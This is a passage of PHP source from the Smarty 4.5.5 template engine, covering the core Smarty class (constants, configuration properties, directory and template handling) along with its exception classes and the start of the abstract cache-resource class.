 * The following methods will be dynamically loaded by the extension handler when they are called.
 * They are located in a corresponding Smarty_Internal_Method_xxxx class
 *
 * @method int clearAllCache(int $exp_time = null, string $type = null)
 * @method int clearCache(string $template_name, string $cache_id = null, string $compile_id = null, int $exp_time = null, string $type = null)
 * @method int compileAllTemplates(string $extension = '.tpl', bool $force_compile = false, int $time_limit = 0, $max_errors = null)
 * @method int compileAllConfig(string $extension = '.conf', bool $force_compile = false, int $time_limit = 0, $max_errors = null)
 * @method int clearCompiledTemplate($resource_name = null, $compile_id = null, $exp_time = null)
 */
class Smarty extends Smarty_Internal_TemplateBase
{
    /**
     * smarty version
     */
    const SMARTY_VERSION = '4.5.5';
    /**
     * define variable scopes
     */
    const SCOPE_LOCAL    = 1;
    const SCOPE_PARENT   = 2;
    const SCOPE_TPL_ROOT = 4;
    const SCOPE_ROOT     = 8;
    const SCOPE_SMARTY   = 16;
    const SCOPE_GLOBAL   = 32;
    /**
     * define caching modes
     */
    const CACHING_OFF              = 0;
    const CACHING_LIFETIME_CURRENT = 1;
    const CACHING_LIFETIME_SAVED   = 2;
    /**
     * define constant for clearing cache files be saved expiration dates
     */
    const CLEAR_EXPIRED = -1;
    /**
     * define compile check modes
     */
    const COMPILECHECK_OFF       = 0;
    const COMPILECHECK_ON        = 1;
    const COMPILECHECK_CACHEMISS = 2;
    /**
     * define debug modes
     */
    const DEBUG_OFF        = 0;
    const DEBUG_ON         = 1;
    const DEBUG_INDIVIDUAL = 2;

    /**
     * filter types
     */
    const FILTER_POST     = 'post';
    const FILTER_PRE      = 'pre';
    const FILTER_OUTPUT   = 'output';
    const FILTER_VARIABLE = 'variable';
    /**
     * plugin types
     */
    const PLUGIN_FUNCTION         = 'function';
    const PLUGIN_BLOCK            = 'block';
    const PLUGIN_COMPILER         = 'compiler';
    const PLUGIN_MODIFIER         = 'modifier';
    const PLUGIN_MODIFIERCOMPILER = 'modifiercompiler';

    /**
     * assigned global tpl vars
     */
    public static $global_tpl_vars = array();

    /**
     * Flag denoting if Multibyte String functions are available
     */
    public static $_MBSTRING = SMARTY_MBSTRING;

    /**
     * The character set to adhere to (e.g. "UTF-8")
     */
    public static $_CHARSET = SMARTY_MBSTRING ? 'UTF-8' : 'ISO-8859-1';

    /**
     * The date format to be used internally
     * (accepts date() and strftime())
     */
    public static $_DATE_FORMAT = '%b %e, %Y';

    /**
     * Flag denoting if PCRE should run in UTF-8 mode
     */
    public static $_UTF8_MODIFIER = 'u';

    /**
     * Flag denoting if operating system is windows
     */
    public static $_IS_WINDOWS = false;

    /**
     * auto literal on delimiters with whitespace
     *
     * @var boolean
     */
    public $auto_literal = true;

    /**
     * display error on not assigned variables
     *
     * @var boolean
     */
    public $error_unassigned = false;

    /**
     * look up relative file path in include_path
     *
     * @var boolean
     */
    public $use_include_path = false;

    /**
     * flag if template_dir is normalized
     *
     * @var bool
     */
    public $_templateDirNormalized = false;

    /**
     * joined template directory string used in cache keys
     *
     * @var string
     */
    public $_joined_template_dir = null;

    /**
     * flag if config_dir is normalized
     *
     * @var bool
     */
    public $_configDirNormalized = false;

    /**
     * joined config directory string used in cache keys
     *
     * @var string
     */
    public $_joined_config_dir = null;

    /**
     * default template handler
     *
     * @var callable
     */
    public $default_template_handler_func = null;

    /**
     * default config handler
     *
     * @var callable
     */
    public $default_config_handler_func = null;

    /**
     * default plugin handler
     *
     * @var callable
     */
    public $default_plugin_handler_func = null;

    /**
     * flag if template_dir is normalized
     *
     * @var bool
     */
    public $_compileDirNormalized = false;

    /**
     * flag if plugins_dir is normalized
     *
     * @var bool
     */
    public $_pluginsDirNormalized = false;

    /**
     * flag if template_dir is normalized
     *
     * @var bool
     */
    public $_cacheDirNormalized = false;

    /**
     * force template compiling?
     *
     * @var boolean
     */
    public $force_compile = false;

    /**
     * use sub dirs for compiled/cached files?
     *
     * @var boolean
     */
    public $use_sub_dirs = false;

    /**
     * allow ambiguous resources (that are made unique by the resource handler)
     *
     * @var boolean
     */
    public $allow_ambiguous_resources = false;

    /**
     * merge compiled includes
     *
     * @var boolean
     */
    public $merge_compiled_includes = false;

    /*
    * flag for behaviour when extends: resource  and {extends} tag are used simultaneous
    *   if false disable execution of {extends} in templates called by extends resource.
    *   (behaviour as versions < 3.1.28)
    *
    * @var boolean
    */
    public $extends_recursion = true;

    /**
     * force cache file creation
     *
     * @var boolean
     */
    public $force_cache = false;

    /**
     * template left-delimiter
     *
     * @var string
     */
    public $left_delimiter = "{";

    /**
     * template right-delimiter
     *
     * @var string
     */
    public $right_delimiter = "}";

    /**
     * array of strings which shall be treated as literal by compiler
     *
     * @var array string
     */
    public $literals = array();

    /**
     * class name
     * This should be instance of Smarty_Security.
     *
     * @var string
     * @see Smarty_Security
     */
    public $security_class = 'Smarty_Security';

    /**
     * implementation of security class
     *
     * @var Smarty_Security
     */
    public $security_policy = null;

    /**
     * controls if the php template file resource is allowed
     *
     * @var bool
     */
    public $allow_php_templates = false;

    /**
     * debug mode
     * Setting this to true enables the debug-console.
     *
     * @var boolean
     */
    public $debugging = false;

    /**
     * This determines if debugging is enable-able from the browser.
     * <ul>
     *  <li>NONE => no debugging control allowed</li>
     *  <li>URL => enable debugging when SMARTY_DEBUG is found in the URL.</li>
     * </ul>
     *
     * @var string
     */
    public $debugging_ctrl = 'NONE';

    /**
     * Name of debugging URL-param.
     * Only used when $debugging_ctrl is set to 'URL'.
     * The name of the URL-parameter that activates debugging.
     *
     * @var string
     */
    public $smarty_debug_id = 'SMARTY_DEBUG';

    /**
     * Path of debug template.
     *
     * @var string
     */
    public $debug_tpl = null;

    /**
     * When set, smarty uses this value as error_reporting-level.
     *
     * @var int
     */
    public $error_reporting = null;

    /**
     * Controls whether variables with the same name overwrite each other.
     *
     * @var boolean
     */
    public $config_overwrite = true;

    /**
     * Controls whether config values of on/true/yes and off/false/no get converted to boolean.
     *
     * @var boolean
     */
    public $config_booleanize = true;

    /**
     * Controls whether hidden config sections/vars are read from the file.
     *
     * @var boolean
     */
    public $config_read_hidden = false;

    /**
     * locking concurrent compiles
     *
     * @var boolean
     */
    public $compile_locking = true;

    /**
     * Controls whether cache resources should use locking mechanism
     *
     * @var boolean
     */
    public $cache_locking = false;

    /**
     * seconds to wait for acquiring a lock before ignoring the write lock
     *
     * @var float
     */
    public $locking_timeout = 10;

    /**
     * resource type used if none given
     * Must be an valid key of $registered_resources.
     *
     * @var string
     */
    public $default_resource_type = 'file';

    /**
     * caching type
     * Must be an element of $cache_resource_types.
     *
     * @var string
     */
    public $caching_type = 'file';

    /**
     * config type
     *
     * @var string
     */
    public $default_config_type = 'file';

    /**
     * check If-Modified-Since headers
     *
     * @var boolean
     */
    public $cache_modified_check = false;

    /**
     * registered plugins
     *
     * @var array
     */
    public $registered_plugins = array();

    /**
     * registered objects
     *
     * @var array
     */
    public $registered_objects = array();

    /**
     * registered classes
     *
     * @var array
     */
    public $registered_classes = array();

    /**
     * registered filters
     *
     * @var array
     */
    public $registered_filters = array();

    /**
     * registered resources
     *
     * @var array
     */
    public $registered_resources = array();

    /**
     * registered cache resources
     *
     * @var array
     */
    public $registered_cache_resources = array();

    /**
     * autoload filter
     *
     * @var array
     */
    public $autoload_filters = array();

    /**
     * default modifier
     *
     * @var array
     */
    public $default_modifiers = array();

    /**
     * autoescape variable output
     *
     * @var boolean
     */
    public $escape_html = false;

    /**
     * start time for execution time calculation
     *
     * @var int
     */
    public $start_time = 0;

    /**
     * required by the compiler for BC
     *
     * @var string
     */
    public $_current_file = null;

    /**
     * internal flag to enable parser debugging
     *
     * @var bool
     */
    public $_parserdebug = false;

    /**
     * This object type (Smarty = 1, template = 2, data = 4)
     *
     * @var int
     */
    public $_objType = 1;

    /**
     * Debug object
     *
     * @var Smarty_Internal_Debug
     */
    public $_debug = null;

    /**
     * template directory
     *
     * @var array
     */
    protected $template_dir = array('./templates/');

    /**
     * flags for normalized template directory entries
     *
     * @var array
     */
    protected $_processedTemplateDir = array();

    /**
     * config directory
     *
     * @var array
     */
    protected $config_dir = array('./configs/');

    /**
     * flags for normalized template directory entries
     *
     * @var array
     */
    protected $_processedConfigDir = array();

    /**
     * compile directory
     *
     * @var string
     */
    protected $compile_dir = './templates_c/';

    /**
     * plugins directory
     *
     * @var array
     */
    protected $plugins_dir = array();

    /**
     * cache directory
     *
     * @var string
     */
    protected $cache_dir = './cache/';

    /**
     * removed properties
     *
     * @var string[]
     */
    protected $obsoleteProperties = array(
        'resource_caching', 'template_resource_caching', 'direct_access_security',
        '_dir_perms', '_file_perms', 'plugin_search_order',
        'inheritance_merge_compiled_includes', 'resource_cache_mode',
    );

    /**
     * List of private properties which will call getter/setter on a direct access
     *
     * @var string[]
     */
    protected $accessMap = array(
        'template_dir' => 'TemplateDir', 'config_dir' => 'ConfigDir',
        'plugins_dir'  => 'PluginsDir', 'compile_dir' => 'CompileDir',
        'cache_dir'    => 'CacheDir',
    );

    /**
     * PHP7 Compatibility mode
     * @var bool
     */
    private $isMutingUndefinedOrNullWarnings = false;

    /**
     * Initialize new Smarty object
     */
    public function __construct()
    {
        $this->_clearTemplateCache();
        parent::__construct();
        if (is_callable('mb_internal_encoding')) {
            mb_internal_encoding(Smarty::$_CHARSET);
        }
        $this->start_time = microtime(true);
        if (isset($_SERVER[ 'SCRIPT_NAME' ])) {
            Smarty::$global_tpl_vars[ 'SCRIPT_NAME' ] = new Smarty_Variable($_SERVER[ 'SCRIPT_NAME' ]);
        }
        // Check if we're running on windows
        Smarty::$_IS_WINDOWS = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        // let PCRE (preg_*) treat strings as ISO-8859-1 if we're not dealing with UTF-8
        if (Smarty::$_CHARSET !== 'UTF-8') {
            Smarty::$_UTF8_MODIFIER = '';
        }
    }

    /**
     * Check if a template resource exists
     *
     * @param string $resource_name template name
     *
     * @return bool status
     * @throws \SmartyException
     */
    public function templateExists($resource_name)
    {
        // create source object
        $source = Smarty_Template_Source::load(null, $this, $resource_name);
        return $source->exists;
    }

    /**
     * Loads security class and enables security
     *
     * @param string|Smarty_Security $security_class if a string is used, it must be class-name
     *
     * @return Smarty                 current Smarty instance for chaining
     * @throws \SmartyException
     */
    public function enableSecurity($security_class = null)
    {
        Smarty_Security::enableSecurity($this, $security_class);
        return $this;
    }

    /**
     * Disable security
     *
     * @return Smarty current Smarty instance for chaining
     */
    public function disableSecurity()
    {
        $this->security_policy = null;
        return $this;
    }

    /**
     * Add template directory(s)
     *
     * @param string|array $template_dir directory(s) of template sources
     * @param string       $key          of the array element to assign the template dir to
     * @param bool         $isConfig     true for config_dir
     *
     * @return Smarty          current Smarty instance for chaining
     */
    public function addTemplateDir($template_dir, $key = null, $isConfig = false)
    {
        if ($isConfig) {
            $processed = &$this->_processedConfigDir;
            $dir = &$this->config_dir;
            $this->_configDirNormalized = false;
        } else {
            $processed = &$this->_processedTemplateDir;
            $dir = &$this->template_dir;
            $this->_templateDirNormalized = false;
        }
        if (is_array($template_dir)) {
            foreach ($template_dir as $k => $v) {
                if (is_int($k)) {
                    // indexes are not merged but appended
                    $dir[] = $v;
                } else {
                    // string indexes are overridden
                    $dir[ $k ] = $v;
                    unset($processed[ $key ]);
                }
            }
        } else {
            if ($key !== null) {
                // override directory at specified index
                $dir[ $key ] = $template_dir;
                unset($processed[ $key ]);
            } else {
                // append new directory
                $dir[] = $template_dir;
            }
        }
        return $this;
    }

    /**
     * Get template directories
     *
     * @param mixed $index    index of directory to get, null to get all
     * @param bool  $isConfig true for config_dir
     *
     * @return array|string list of template directories, or directory of $index
     */
    public function getTemplateDir($index = null, $isConfig = false)
    {
        if ($isConfig) {
            $dir = &$this->config_dir;
        } else {
            $dir = &$this->template_dir;
        }
        if ($isConfig ? !$this->_configDirNormalized : !$this->_templateDirNormalized) {
            $this->_normalizeTemplateConfig($isConfig);
        }
        if ($index !== null) {
            return isset($dir[ $index ]) ? $dir[ $index ] : null;
        }
        return $dir;
    }

    /**
     * Set template directory
     *
     * @param string|array $template_dir directory(s) of template sources
     * @param bool         $isConfig     true for config_dir
     *
     * @return \Smarty current Smarty instance for chaining
     */
    public function setTemplateDir($template_dir, $isConfig = false)
    {
        if ($isConfig) {
            $this->config_dir = array();
            $this->_processedConfigDir = array();
        } else {
            $this->template_dir = array();
            $this->_processedTemplateDir = array();
        }
        $this->addTemplateDir($template_dir, null, $isConfig);
        return $this;
    }

    /**
     * Add config directory(s)
     *
     * @param string|array $config_dir directory(s) of config sources
     * @param mixed        $key        key of the array element to assign the config dir to
     *
     * @return Smarty current Smarty instance for chaining
     */
    public function addConfigDir($config_dir, $key = null)
    {
        return $this->addTemplateDir($config_dir, $key, true);
    }

    /**
     * Get config directory
     *
     * @param mixed $index index of directory to get, null to get all
     *
     * @return array configuration directory
     */
    public function getConfigDir($index = null)
    {
        return $this->getTemplateDir($index, true);
    }

    /**
     * Set config directory
     *
     * @param $config_dir
     *
     * @return Smarty       current Smarty instance for chaining
     */
    public function setConfigDir($config_dir)
    {
        return $this->setTemplateDir($config_dir, true);
    }

    /**
     * Adds directory of plugin files
     *
     * @param null|array|string $plugins_dir
     *
     * @return Smarty current Smarty instance for chaining
     */
    public function addPluginsDir($plugins_dir)
    {
        if (empty($this->plugins_dir)) {
            $this->plugins_dir[] = SMARTY_PLUGINS_DIR;
        }
        $this->plugins_dir = array_merge($this->plugins_dir, (array)$plugins_dir);
        $this->_pluginsDirNormalized = false;
        return $this;
    }

    /**
     * Get plugin directories
     *
     * @return array list of plugin directories
     */
    public function getPluginsDir()
    {
        if (empty($this->plugins_dir)) {
            $this->plugins_dir[] = SMARTY_PLUGINS_DIR;
            $this->_pluginsDirNormalized = false;
        }
        if (!$this->_pluginsDirNormalized) {
            if (!is_array($this->plugins_dir)) {
                $this->plugins_dir = (array)$this->plugins_dir;
            }
            foreach ($this->plugins_dir as $k => $v) {
                $this->plugins_dir[ $k ] = $this->_realpath(rtrim($v ?? '', '/\\') . DIRECTORY_SEPARATOR, true);
            }
            $this->_cache[ 'plugin_files' ] = array();
            $this->_pluginsDirNormalized = true;
        }
        return $this->plugins_dir;
    }

    /**
     * Set plugins directory
     *
     * @param string|array $plugins_dir directory(s) of plugins
     *
     * @return Smarty       current Smarty instance for chaining
     */
    public function setPluginsDir($plugins_dir)
    {
        $this->plugins_dir = (array)$plugins_dir;
        $this->_pluginsDirNormalized = false;
        return $this;
    }

    /**
     * Get compiled directory
     *
     * @return string path to compiled templates
     */
    public function getCompileDir()
    {
        if (!$this->_compileDirNormalized) {
            $this->_normalizeDir('compile_dir', $this->compile_dir);
            $this->_compileDirNormalized = true;
        }
        return $this->compile_dir;
    }

    /**
     *
     * @param  string $compile_dir directory to store compiled templates in
     *
     * @return Smarty current Smarty instance for chaining
     */
    public function setCompileDir($compile_dir)
    {
        $this->_normalizeDir('compile_dir', $compile_dir);
        $this->_compileDirNormalized = true;
        return $this;
    }

    /**
     * Get cache directory
     *
     * @return string path of cache directory
     */
    public function getCacheDir()
    {
        if (!$this->_cacheDirNormalized) {
            $this->_normalizeDir('cache_dir', $this->cache_dir);
            $this->_cacheDirNormalized = true;
        }
        return $this->cache_dir;
    }

    /**
     * Set cache directory
     *
     * @param string $cache_dir directory to store cached templates in
     *
     * @return Smarty current Smarty instance for chaining
     */
    public function setCacheDir($cache_dir)
    {
        $this->_normalizeDir('cache_dir', $cache_dir);
        $this->_cacheDirNormalized = true;
        return $this;
    }

    /**
     * creates a template object
     *
     * @param string  $template   the resource handle of the template file
     * @param mixed   $cache_id   cache id to be used with this template
     * @param mixed   $compile_id compile id to be used with this template
     * @param object  $parent     next higher level of Smarty variables
     * @param boolean $do_clone   flag is Smarty object shall be cloned
     *
     * @return \Smarty_Internal_Template template object
     * @throws \SmartyException
     */
    public function createTemplate($template, $cache_id = null, $compile_id = null, $parent = null, $do_clone = true)
    {
        if ($cache_id !== null && (is_object($cache_id) || is_array($cache_id))) {
            $parent = $cache_id;
            $cache_id = null;
        }
        if ($parent !== null && is_array($parent)) {
            $data = $parent;
            $parent = null;
        } else {
            $data = null;
        }
        if (!$this->_templateDirNormalized) {
            $this->_normalizeTemplateConfig(false);
        }
        $_templateId = $this->_getTemplateId($template, $cache_id, $compile_id);
        $tpl = null;
        if ($this->caching && isset(Smarty_Internal_Template::$isCacheTplObj[ $_templateId ])) {
            $tpl = $do_clone ? clone Smarty_Internal_Template::$isCacheTplObj[ $_templateId ] :
                Smarty_Internal_Template::$isCacheTplObj[ $_templateId ];
            $tpl->inheritance = null;
            $tpl->tpl_vars = $tpl->config_vars = array();
        } elseif (!$do_clone && isset(Smarty_Internal_Template::$tplObjCache[ $_templateId ])) {
            $tpl = clone Smarty_Internal_Template::$tplObjCache[ $_templateId ];
            $tpl->inheritance = null;
            $tpl->tpl_vars = $tpl->config_vars = array();
        } else {
            /* @var Smarty_Internal_Template $tpl */
            $tpl = new $this->template_class($template, $this, null, $cache_id, $compile_id, null, null);
            $tpl->templateId = $_templateId;
        }
        if ($do_clone) {
            $tpl->smarty = clone $tpl->smarty;
        }
        $tpl->parent = $parent ? $parent : $this;
        // fill data if present
        if (!empty($data) && is_array($data)) {
            // set up variable values
            foreach ($data as $_key => $_val) {
                $tpl->tpl_vars[ $_key ] = new Smarty_Variable($_val);
            }
        }
        if ($this->debugging || $this->debugging_ctrl === 'URL') {
            $tpl->smarty->_debug = new Smarty_Internal_Debug();
            // check URL debugging control
            if (!$this->debugging && $this->debugging_ctrl === 'URL') {
                $tpl->smarty->_debug->debugUrl($tpl->smarty);
            }
        }
        return $tpl;
    }

    /**
     * Takes unknown classes and loads plugin files for them
     * class name format: Smarty_PluginType_PluginName
     * plugin filename format: plugintype.pluginname.php
     *
     * @param string $plugin_name class plugin name to load
     * @param bool   $check       check if already loaded
     *
     * @return string |boolean filepath of loaded file or false
     * @throws \SmartyException
     */
    public function loadPlugin($plugin_name, $check = true)
    {
        return $this->ext->loadPlugin->loadPlugin($this, $plugin_name, $check);
    }

    /**
     * Get unique template id
     *
     * @param string                         $template_name
     * @param null|mixed                     $cache_id
     * @param null|mixed                     $compile_id
     * @param null                           $caching
     * @param \Smarty_Internal_Template|null $template
     *
     * @return string
     * @throws \SmartyException
     */
    public function _getTemplateId(
        $template_name,
        $cache_id = null,
        $compile_id = null,
        $caching = null,
        ?Smarty_Internal_Template $template = null
    ) {
        $template_name = (strpos($template_name, ':') === false) ? "{$this->default_resource_type}:{$template_name}" :
            $template_name;
        $cache_id = $cache_id === null ? $this->cache_id : $cache_id;
        $compile_id = $compile_id === null ? $this->compile_id : $compile_id;
        $caching = (int)($caching === null ? $this->caching : $caching);
        if ((isset($template) && strpos($template_name, ':.') !== false) || $this->allow_ambiguous_resources) {
            $_templateId =
                Smarty_Resource::getUniqueTemplateName((isset($template) ? $template : $this), $template_name) .
                "#{$cache_id}#{$compile_id}#{$caching}";
        } else {
            $_templateId = $this->_joined_template_dir . "#{$template_name}#{$cache_id}#{$compile_id}#{$caching}";
        }
        if (isset($_templateId[ 150 ])) {
            $_templateId = sha1($_templateId);
        }
        return $_templateId;
    }

    /**
     * Normalize path
     *  - remove /./ and /../
     *  - make it absolute if required
     *
     * @param string $path     file path
     * @param bool   $realpath if true - convert to absolute
     *                         false - convert to relative
     *                         null - keep as it is but
     *                         remove /./ /../
     *
     * @return string
     */
    public function _realpath($path, $realpath = null)
    {
        $nds = array('/' => '\\', '\\' => '/');
        preg_match(
            '%^(?<root>(?:[[:alpha:]]:[\\\\/]|/|[\\\\]{2}[[:alpha:]]+|[[:print:]]{2,}:[/]{2}|[\\\\])?)(?<path>(.*))$%u',
            $path,
            $parts
        );
        $path = $parts[ 'path' ];
        if ($parts[ 'root' ] === '\\') {
            $parts[ 'root' ] = substr(getcwd(), 0, 2) . $parts[ 'root' ];
        } else {
            if ($realpath !== null && !$parts[ 'root' ]) {
                $path = getcwd() . DIRECTORY_SEPARATOR . $path;
            }
        }
        // normalize DIRECTORY_SEPARATOR
        $path = str_replace($nds[ DIRECTORY_SEPARATOR ], DIRECTORY_SEPARATOR, $path);
        $parts[ 'root' ] = str_replace($nds[ DIRECTORY_SEPARATOR ], DIRECTORY_SEPARATOR, $parts[ 'root' ]);
        do {
            $path = preg_replace(
                array('#[\\\\/]{2}#', '#[\\\\/][.][\\\\/]#', '#[\\\\/]([^\\\\/.]+)[\\\\/][.][.][\\\\/]#'),
                DIRECTORY_SEPARATOR,
                $path,
                -1,
                $count
            );
        } while ($count > 0);
        return $realpath !== false ? $parts[ 'root' ] . $path : str_ireplace(getcwd(), '.', $parts[ 'root' ] . $path);
    }

    /**
     * Empty template objects cache
     */
    public function _clearTemplateCache()
    {
        Smarty_Internal_Template::$isCacheTplObj = array();
        Smarty_Internal_Template::$tplObjCache = array();
    }

    /**
     * @param boolean $use_sub_dirs
     */
    public function setUseSubDirs($use_sub_dirs)
    {
        $this->use_sub_dirs = $use_sub_dirs;
    }

    /**
     * @param int $error_reporting
     */
    public function setErrorReporting($error_reporting)
    {
        $this->error_reporting = $error_reporting;
    }

    /**
     * @param boolean $escape_html
     */
    public function setEscapeHtml($escape_html)
    {
        $this->escape_html = $escape_html;
    }

    /**
     * Return auto_literal flag
     *
     * @return boolean
     */
    public function getAutoLiteral()
    {
        return $this->auto_literal;
    }

    /**
     * Set auto_literal flag
     *
     * @param boolean $auto_literal
     */
    public function setAutoLiteral($auto_literal = true)
    {
        $this->auto_literal = $auto_literal;
    }

    /**
     * @param boolean $force_compile
     */
    public function setForceCompile($force_compile)
    {
        $this->force_compile = $force_compile;
    }

    /**
     * @param boolean $merge_compiled_includes
     */
    public function setMergeCompiledIncludes($merge_compiled_includes)
    {
        $this->merge_compiled_includes = $merge_compiled_includes;
    }

    /**
     * Get left delimiter
     *
     * @return string
     */
    public function getLeftDelimiter()
    {
        return $this->left_delimiter;
    }

    /**
     * Set left delimiter
     *
     * @param string $left_delimiter
     */
    public function setLeftDelimiter($left_delimiter)
    {
        $this->left_delimiter = $left_delimiter;
    }

    /**
     * Get right delimiter
     *
     * @return string $right_delimiter
     */
    public function getRightDelimiter()
    {
        return $this->right_delimiter;
    }

    /**
     * Set right delimiter
     *
     * @param string
     */
    public function setRightDelimiter($right_delimiter)
    {
        $this->right_delimiter = $right_delimiter;
    }

    /**
     * @param boolean $debugging
     */
    public function setDebugging($debugging)
    {
        $this->debugging = $debugging;
    }

    /**
     * @param boolean $config_overwrite
     */
    public function setConfigOverwrite($config_overwrite)
    {
        $this->config_overwrite = $config_overwrite;
    }

    /**
     * @param boolean $config_booleanize
     */
    public function setConfigBooleanize($config_booleanize)
    {
        $this->config_booleanize = $config_booleanize;
    }

    /**
     * @param boolean $config_read_hidden
     */
    public function setConfigReadHidden($config_read_hidden)
    {
        $this->config_read_hidden = $config_read_hidden;
    }

    /**
     * @param boolean $compile_locking
     */
    public function setCompileLocking($compile_locking)
    {
        $this->compile_locking = $compile_locking;
    }

    /**
     * @param string $default_resource_type
     */
    public function setDefaultResourceType($default_resource_type)
    {
        $this->default_resource_type = $default_resource_type;
    }

    /**
     * @param string $caching_type
     */
    public function setCachingType($caching_type)
    {
        $this->caching_type = $caching_type;
    }

    /**
     * Test install
     *
     * @param null $errors
     */
    public function testInstall(&$errors = null)
    {
        Smarty_Internal_TestInstall::testInstall($this, $errors);
    }

    /**
     * Get Smarty object
     *
     * @return Smarty
     */
    public function _getSmartyObj()
    {
        return $this;
    }

    /**
     * <<magic>> Generic getter.
     * Calls the appropriate getter function.
     * Issues an E_USER_NOTICE if no valid getter is found.
     *
     * @param string $name property name
     *
     * @return mixed
     */
    public function __get($name)
    {
        if (isset($this->accessMap[ $name ])) {
            $method = 'get' . $this->accessMap[ $name ];
            return $this->{$method}();
        } elseif (isset($this->_cache[ $name ])) {
            return $this->_cache[ $name ];
        } elseif (in_array($name, $this->obsoleteProperties)) {
            return null;
        } else {
            trigger_error('Undefined property: ' . get_class($this) . '::$' . $name, E_USER_NOTICE);
        }
        return null;
    }

    /**
     * <<magic>> Generic setter.
     * Calls the appropriate setter function.
     * Issues an E_USER_NOTICE if no valid setter is found.
     *
     * @param string $name  property name
     * @param mixed  $value parameter passed to setter
     *
     */
    public function __set($name, $value)
    {
        if (isset($this->accessMap[ $name ])) {
            $method = 'set' . $this->accessMap[ $name ];
            $this->{$method}($value);
        } elseif (in_array($name, $this->obsoleteProperties)) {
            return;
        } elseif (is_object($value) && method_exists($value, $name)) {
            $this->$name = $value;
        } else {
            trigger_error('Undefined property: ' . get_class($this) . '::$' . $name, E_USER_NOTICE);
        }
    }

    /**
     * Normalize and set directory string
     *
     * @param string $dirName cache_dir or compile_dir
     * @param string $dir     filepath of folder
     */
    private function _normalizeDir($dirName, $dir)
    {
        $this->{$dirName} = $this->_realpath(rtrim($dir ?? '', "/\\") . DIRECTORY_SEPARATOR, true);
    }

    /**
     * Normalize template_dir or config_dir
     *
     * @param bool $isConfig true for config_dir
     */
    private function _normalizeTemplateConfig($isConfig)
    {
        if ($isConfig) {
            $processed = &$this->_processedConfigDir;
            $dir = &$this->config_dir;
        } else {
            $processed = &$this->_processedTemplateDir;
            $dir = &$this->template_dir;
        }
        if (!is_array($dir)) {
            $dir = (array)$dir;
        }
        foreach ($dir as $k => $v) {
            if (!isset($processed[ $k ])) {
                $dir[ $k ] = $v = $this->_realpath(rtrim($v ?? '', "/\\") . DIRECTORY_SEPARATOR, true);
                $processed[ $k ] = true;
            }
        }
        $isConfig ? $this->_configDirNormalized = true : $this->_templateDirNormalized = true;
        $isConfig ? $this->_joined_config_dir = join('#', $this->config_dir) :
            $this->_joined_template_dir = join('#', $this->template_dir);
    }

    /**
     * Mutes errors for "undefined index", "undefined array key" and "trying to read property of null".
     *
     * @void
     */
    public function muteUndefinedOrNullWarnings(): void {
        $this->isMutingUndefinedOrNullWarnings = true;
    }

    /**
     * Indicates if Smarty will mute errors for "undefined index", "undefined array key" and "trying to read property of null".
     * @bool
     */
    public function isMutingUndefinedOrNullWarnings(): bool {
        return $this->isMutingUndefinedOrNullWarnings;
    }

}
<?php

/**
 * Smarty compiler exception class
 *
 * @package Smarty
 */
class SmartyCompilerException extends SmartyException
{
    /**
     * The constructor of the exception
     *
     * @param string         $message  The Exception message to throw.
     * @param int            $code     The Exception code.
     * @param string|null    $filename The filename where the exception is thrown.
     * @param int|null       $line     The line number where the exception is thrown.
     * @param Throwable|null $previous The previous exception used for the exception chaining.
     */
    public function __construct(
        string $message = "",
        int $code = 0,
        ?string $filename = null,
        ?int $line = null,
        ?Throwable $previous = null
    ) {
        parent::__construct($message, $code, $previous);

        // These are optional parameters, should be be overridden only when present!
        if ($filename) {
            $this->file = $filename;
        }
        if ($line) {
            $this->line = $line;
        }
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return ' --> Smarty Compiler: ' . $this->message . ' <-- ';
    }

    /**
     * @param int $line
     */
    public function setLine($line)
    {
        $this->line = $line;
    }

    /**
     * The template source snippet relating to the error
     *
     * @type string|null
     */
    public $source = null;

    /**
     * The raw text of the error message
     *
     * @type string|null
     */
    public $desc = null;

    /**
     * The resource identifier or template name
     *
     * @type string|null
     */
    public $template = null;
}
<?php

/**
 * Smarty exception class
 *
 * @package Smarty
 */
class SmartyException extends Exception
{
    public static $escape = false;

    /**
     * @return string
     */
    public function __toString()
    {
        return ' --> Smarty: ' . (self::$escape ? htmlentities($this->message) : $this->message) . ' <-- ';
    }
}
<?php
/**
 * Smarty Internal Plugin
 *
 * @package    Smarty
 * @subpackage Cacher
 */

/**
 * Cache Handler API
 *
 * @package    Smarty
 * @subpackage Cacher
 * @author     Rodney Rehm
 */
abstract class Smarty_CacheResource
{
    /**
     * resource types provided by the core
     *
     * @var array
     */
    protected static $sysplugins = array('file' => 'smarty_internal_cacheresource_file.php',);

    /**
     * populate Cached Object with meta data from Resource
     *
     * @param \Smarty_Template_Cached  $cached    cached object
     * @param Smarty_Internal_Template $_template template object
     *
     * @return void
     */
    abstract public function populate(\Smarty_Template_Cached $cached, Smarty_Internal_Template $_template);

    /**
     * populate Cached Object with timestamp and exists from Resource
     *
     * @param Smarty_Template_Cached $cached
     *
     * @return void
     */
    abstract public function populateTimestamp(Smarty_Template_Cached $cached);

    /**
     * Read the cached template and process header
     *
     * @param Smarty_Internal_Template    $_template template object
     * @param Smarty_Template_Cached|null $cached    cached object
     * @param boolean                     $update    flag if called because cache update
     *
     * @return boolean true or false if the cached content does not exist
     */
    abstract public function process(
        Smarty_Internal_Template $_template,
        ?Smarty_Template_Cached $cached = null,
        $update = false
    );

    /**
     * Write the rendered template output to cache
     *
     * @param Smarty_Internal_Template $_template template object
     * @param string                   $content   content to cache
     *
     * @return boolean success
     */
    abstract public function writeCachedContent(Smarty_Internal_Template $_template, $content);

    /**
     * Read cached template from cache
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @return string  content
     */
    abstract public function readCachedContent(Smarty_Internal_Template $_template);

    /**
     * Return cached content
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @return null|string
     */
    public function getCachedContent(Smarty_Internal_Template $_template)
    {
        if ($_template->cached->handler->process($_template)) {
            ob_start();
            $unifunc = $_template->cached->unifunc;
            $unifunc($_template);
            return ob_get_clean();
        }
        return null;
    }

    /**
     * Empty cache
     *
     * @param Smarty  $smarty   Smarty object
     * @param integer $exp_time expiration time (number of seconds, not timestamp)
     *
     * @return integer number of cache files deleted
     */
    abstract public function clearAll(Smarty $smarty, $exp_time = null);

    /**
     * Empty cache for a specific template
     *
     * @param Smarty  $smarty        Smarty object
     * @param string  $resource_name template name
     * @param string  $cache_id      cache id
     * @param string  $compile_id    compile id
     * @param integer $exp_time      expiration time (number of seconds, not timestamp)
     *
     * @return integer number of cache files deleted
     */
